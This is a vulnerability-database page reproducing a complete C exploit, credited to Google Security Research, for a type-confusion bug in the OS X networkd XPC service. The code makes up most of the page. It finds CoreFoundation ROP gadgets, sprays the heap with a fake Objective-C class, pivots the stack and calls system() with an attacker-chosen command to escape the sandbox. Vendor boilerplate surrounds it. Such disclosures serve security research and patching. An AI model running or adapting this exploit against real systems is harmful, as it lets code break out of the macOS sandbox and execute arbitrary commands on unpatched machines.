Lucene search
K

OS X networkd (effective_audit_token) XPC Type Confusion Sandbox Escape Exploit

🗓️ 20 Jan 2015 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 16 Views

Networkd XPC Type Confusion Sandbox Escape Exploi

Code
// Requires Lorgnette: https://github.com/rodionovd/liblorgnette
// clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation
// ianbeer
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
 
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
 
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
 
#include <mach-o/dyld_images.h>
 
#include "liblorgnette/lorgnette.h"
 
/* find the base address of CoreFoundation for the ROP gadgets */
 
void* find_library_load_address(const char* library_name){
  kern_return_t err;
 
  // get the list of all loaded modules from dyld
  // the task_info mach API will get the address of the dyld all_image_info struct for the given task
  // from which we can get the names and load addresses of all modules
  task_dyld_info_data_t task_dyld_info;
  mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
  err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
 
  const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
  const struct dyld_image_info* image_infos = all_image_infos->infoArray;
   
  for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
    const char* image_name = image_infos[i].imageFilePath;
    mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
    if (strstr(image_name, library_name)){
      return (void*)image_load_address;
    }
  }
  return NULL;
}
 
 
struct heap_spray {
  void* fake_objc_class_ptr; // -------+
  uint8_t pad0[0x10];        //        |
  uint64_t first_gadget;     //        |
  uint8_t pad1[0x8];         //        |
  uint64_t null0;            //        |
  uint64_t pad3;             //        |
  uint64_t pop_rdi_rbp_ret;  //        |
  uint64_t rdi;              //        |
  uint64_t rbp;              //        |
  uint64_t system;           //        |
  struct fake_objc_class_t { //        |
    char pad[0x10];      // <----------+
    void* cache_buckets_ptr; //--------+
    uint64_t cache_bucket_mask;  //    |
  } fake_objc_class;             //    |
  struct fake_cache_bucket_t {   //    |
    void* cached_sel;      // <--------+  //point to the right selector
    void* cached_function; // will be RIP :)
  } fake_cache_bucket;
  char command[256];
};
 
xpc_connection_t connect(){
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
 
  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);
  return conn;
}
 
void go(){
  void* heap_spray_target_addr = (void*)0x120202000;
  struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
  memset(hs, 'C', 0x1000);
  hs->null0 = 0;
  hs->fake_objc_class_ptr = &hs->fake_objc_class;
  hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
  hs->fake_objc_class.cache_bucket_mask = 0;
 
  // nasty hack to find the correct selector address :)
  uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
  uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector
  uint64_t sel = msgrefs[1];
  printf("%p\n", sel);
  hs->fake_cache_bucket.cached_sel = sel;
 
  uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
  // pivot:
/*
push rax
add eax, [rax]
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
  hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here
 
  // jump over the NULL then so there's more space:
  //pop, pop, pop, ret: //and keep stack correctly aligned
  hs->first_gadget = CoreFoundation_base + 0x46ef7;
 
  hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
  hs->system = dlsym(RTLD_DEFAULT, "system");
 
  hs->rdi = &hs->command;
  strcpy(hs->command, "touch /tmp/hello_networkd");
 
 
  size_t heap_spray_pages = 0x40000;
  size_t heap_spray_bytes = heap_spray_pages * 0x1000;
  char* heap_spray_copies = malloc(heap_spray_bytes);
  for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
  }
 
  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
 
  xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);
 
  xpc_dictionary_set_uint64(msg, "type", 6);
  xpc_dictionary_set_uint64(msg, "connection_id", 1);
 
  xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
  xpc_object_t conn_list = xpc_array_create(NULL, 0);
   
  xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
 
  xpc_array_append_value(conn_list, arr_dict);
  xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
   
  char* long_key = malloc(1024);
  memset(long_key, 'A', 1023);
  long_key[1023] = '\x00';
 
  xpc_dictionary_set_string(params, long_key, "something or other that's not important");
 
  uint64_t uuid[] = {0, 0x120200000};
  xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
  xpc_dictionary_set_uint64(params, "start", 0);
  xpc_dictionary_set_uint64(params, "duration", 0);
   
  xpc_dictionary_set_value(msg, "parameters", params);
 
  xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(state, "power_slot", 0);
  xpc_dictionary_set_value(msg, "state", state);
 
  xpc_object_t conn = connect();
  printf("connected\n");
 
  xpc_connection_send_message(conn, msg);
  printf("enqueued message\n");
 
  xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});
 
  xpc_release(msg);
}
 
int main(){
  go();
  printf("entering CFRunLoop\n");
  for(;;){
    CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
  }
   
  return 0;
}

#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2015 00:00Current
6.8Medium risk
Vulners AI Score6.8
16